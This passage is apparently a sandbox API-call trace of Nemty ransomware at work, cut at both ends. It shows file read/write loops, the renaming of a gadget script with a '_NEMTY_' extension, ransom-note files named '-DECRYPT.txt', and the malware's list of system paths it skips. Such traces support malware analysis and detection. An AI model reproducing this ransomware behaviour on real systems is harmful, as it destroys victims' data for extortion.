lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0124.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340378, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0124.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.046] CloseHandle (hObject=0xffffffff) returned 0 [0124.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0124.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js._nemty_kgobjgd_")) returned 0 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.047] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd82efb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd82efb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd82efb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0124.047] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0124.048] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0124.048] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0124.048] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0124.048] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340378 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.048] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd82efb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd82efb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd82efb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0124.048] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0124.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0124.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0124.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0124.049] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd49ceb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd49ceb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd49ceb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0124.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0124.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340268 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.050] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd49ceb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd49ceb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd49ceb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0124.050] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0124.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0124.050] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, 